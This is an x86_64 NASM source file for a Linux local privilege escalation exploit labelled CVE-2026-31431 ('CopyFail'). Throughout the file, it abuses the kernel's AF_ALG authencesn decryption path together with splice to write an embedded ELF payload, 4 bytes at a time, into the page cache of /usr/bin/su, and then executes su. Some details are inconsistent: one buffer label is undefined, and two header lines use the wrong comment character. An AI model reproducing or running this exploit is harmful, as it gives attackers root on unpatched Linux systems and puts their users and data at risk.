CVE-2026-31431-Copy-Fail/exploit-scripts/exploit.asm
2026-05-19 17:19:05 +08:00

346 lines
6.8 KiB
NASM

; CopyFail CVE-2026-31431 Linux LPE exploit, x86_64 NASM version.
: https://4xura.com/binex/kernel/copy-fail/
: Author: Axura (@4xura)
;
; Build:
; nasm -f elf64 exploit.asm -o exploit.o
; ld -o exploit_asm exploit.o
;
; Input:
; payload.pwnkit.elf must exist in the build directory. Generate it with the
; compact ELF carrier workflow from section 7.3.1.1.
BITS 64
global _start
%define SYS_write 1
%define SYS_open 2
%define SYS_close 3
%define SYS_pipe 22
%define SYS_socket 41
%define SYS_accept 43
%define SYS_recvfrom 45
%define SYS_sendmsg 46
%define SYS_bind 49
%define SYS_setsockopt 54
%define SYS_execve 59
%define SYS_exit 60
%define SYS_splice 275
%define AF_ALG 38
%define SOCK_SEQPACKET 5
%define SOL_ALG 279
%define ALG_SET_KEY 1
%define ALG_SET_IV 2
%define ALG_SET_OP 3
%define ALG_SET_AEAD_ASSOCLEN 4
%define ALG_SET_AEAD_AUTHSIZE 5
%define MSG_MORE 0x8000
%define O_RDONLY 0
%define RXBUF_SIZE 8192
section .text
_start:
lea rbx, [rel target_su]
; If argv[1] exists, treat it as the full target path.
mov rax, [rsp]
cmp rax, 2
jb .open_target
mov rbx, [rsp + 16]
.open_target:
lea rdi, [rel msg_target]
mov rsi, msg_target_len
call print
mov rdi, rbx
call puts
mov rax, SYS_open
mov rdi, rbx
mov rsi, O_RDONLY
xor rdx, rdx
syscall
call check
mov [file_fd], eax
xor r12, r12 ; payload offset
.patch_loop:
cmp r12, payload_len
jae .execute_target
call open_authencesn_socket
lea rsi, [rel payload]
add rsi, r12
call queue_aad
mov rdi, [file_fd]
mov rsi, [op_fd]
mov rdx, r12
call splice_target_window
mov rdi, [op_fd]
mov rsi, r12
call trigger_decrypt
mov rdi, [op_fd]
call close_fd
mov rdi, [tfm_fd]
call close_fd
add r12, 4
jmp .patch_loop
.execute_target:
mov rdi, [file_fd]
call close_fd
lea rdi, [rel msg_exec]
mov rsi, msg_exec_len
call print
mov rax, SYS_execve
mov rdi, rbx
lea rsi, [rel exec_argv]
xor rdx, rdx
syscall
jmp fatal
open_authencesn_socket:
mov rax, SYS_socket
mov rdi, AF_ALG
mov rsi, SOCK_SEQPACKET
xor rdx, rdx
syscall
call check
mov [tfm_fd], eax
mov rax, SYS_bind
mov edi, [tfm_fd]
lea rsi, [rel sockaddr_alg]
mov rdx, sockaddr_alg_len
syscall
call check
mov rax, SYS_setsockopt
mov edi, [tfm_fd]
mov rsi, SOL_ALG
mov rdx, ALG_SET_KEY
lea r10, [rel keyblob]
mov r8, keyblob_len
syscall
call check
mov rax, SYS_setsockopt
mov edi, [tfm_fd]
mov rsi, SOL_ALG
mov rdx, ALG_SET_AEAD_AUTHSIZE
xor r10, r10
mov r8, 4
syscall
call check
mov rax, SYS_accept
mov edi, [tfm_fd]
xor rsi, rsi
xor rdx, rdx
syscall
call check
mov [op_fd], eax
ret
; rsi = pointer to the next 4-byte payload chunk.
queue_aad:
mov dword [aad_buf], 0x41414141
mov eax, [rsi]
mov [aadaad_buf + 4], eax
lea rax, [rel aadaad_buf]
mov [iov], rax
mov qword [iov + 8], 8
mov qword [msg_hdr + 0], 0
mov dword [msg_hdr + 8], 0
lea rax, [rel iov]
mov qword [msg_hdr + 16], rax
mov qword [msg_hdr + 24], 1
lea rax, [rel cbuf]
mov qword [msg_hdr + 32], rax
mov qword [msg_hdr + 40], cbuf_len
mov dword [msg_hdr + 48], 0
mov qword [cbuf + 0], 20 ; CMSG_LEN(sizeof(uint32_t))
mov dword [cbuf + 8], SOL_ALG
mov dword [cbuf + 12], ALG_SET_OP
mov dword [cbuf + 16], 0 ; ALG_OP_DECRYPT
mov qword [cbuf + 24], 36 ; CMSG_LEN(sizeof(struct af_alg_iv)+16)
mov dword [cbuf + 32], SOL_ALG
mov dword [cbuf + 36], ALG_SET_IV
mov dword [cbuf + 40], 16 ; ivlen
mov qword [cbuf + 44], 0
mov qword [cbuf + 52], 0
mov qword [cbuf + 64], 20 ; CMSG_LEN(sizeof(uint32_t))
mov dword [cbuf + 72], SOL_ALG
mov dword [cbuf + 76], ALG_SET_AEAD_ASSOCLEN
mov dword [cbuf + 80], 8
mov rax, SYS_sendmsg
mov edi, [op_fd]
lea rsi, [rel msg_hdr]
mov rdx, MSG_MORE
syscall
call check
ret
; rdi = file fd, rsi = op fd, rdx = target offset.
splice_target_window:
mov [saved_op_fd], rsi
lea rax, [rdx + 4]
mov [splice_len], rax
mov qword [splice_off], 0
mov rax, SYS_pipe
lea rdi, [rel pipefd]
syscall
call check
mov rax, SYS_splice
mov rdi, [file_fd]
lea rsi, [rel splice_off]
mov edx, [pipefd + 4]
xor r10, r10
mov r8, [splice_len]
xor r9, r9
syscall
call check
mov rax, SYS_splice
mov edi, [pipefd]
xor rsi, rsi
mov rdx, [saved_op_fd]
xor r10, r10
mov r8, [splice_len]
xor r9, r9
syscall
call check
mov edi, [pipefd]
call close_fd
mov edi, [pipefd + 4]
call close_fd
ret
; rdi = op fd, rsi = target offset.
trigger_decrypt:
lea rdx, [rsi + 8]
cmp rdx, RXBUF_SIZE
ja fatal
mov rax, SYS_recvfrom
lea rsi, [rel rxbuf]
xor r10, r10
xor r8, r8
xor r9, r9
syscall
; Authentication failure is expected. Ignore recvfrom's return value.
ret
close_fd:
mov rax, SYS_close
syscall
ret
print:
mov rdx, rsi
mov rsi, rdi
mov rax, SYS_write
mov rdi, 1
syscall
ret
puts:
push rdi
xor rcx, rcx
.len:
cmp byte [rdi + rcx], 0
je .write
inc rcx
jmp .len
.write:
pop rdi
mov rsi, rcx
call print
lea rdi, [rel nl]
mov rsi, 1
call print
ret
check:
test rax, rax
js fatal
ret
fatal:
lea rdi, [rel msg_fail]
mov rsi, msg_fail_len
call print
mov rax, SYS_exit
mov rdi, 1
syscall
section .data
target_su db "/usr/bin/su", 0
exec_arg0 db "su", 0
exec_argv dq exec_arg0, 0
nl db 10
msg_target db "[+] target : "
msg_target_len equ $ - msg_target
msg_exec db "[+] payload staged into page cache, executing target...", 10
msg_exec_len equ $ - msg_exec
msg_fail db "[-] syscall failed", 10
msg_fail_len equ $ - msg_fail
sockaddr_alg:
dw AF_ALG
db "aead", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
dd 0
dd 0
db "authencesn(hmac(sha256),cbc(aes))", 0
times 64 - ($ - sockaddr_alg - 24) db 0
sockaddr_alg_len equ $ - sockaddr_alg
keyblob:
dw 8 ; rtattr.rta_len
dw 1 ; CRYPTO_AUTHENC_KEYA_PARAM
dd 0x10000000 ; htonl(16)
times 32 db 0
keyblob_len equ $ - keyblob
payload:
incbin "payload.pwnkit.elf"
payload_end:
times 3 db 0
payload_len equ payload_end - payload
section .bss
file_fd resq 1
tfm_fd resq 1
op_fd resq 1
saved_op_fd resq 1
pipefd resd 2
splice_off resq 1
splice_len resq 1
aadaad_buf resb 8
iov resq 2
msg_hdr resb 56
cbuf resb 88
cbuf_len equ 88
rxbuf resb RXBUF_SIZE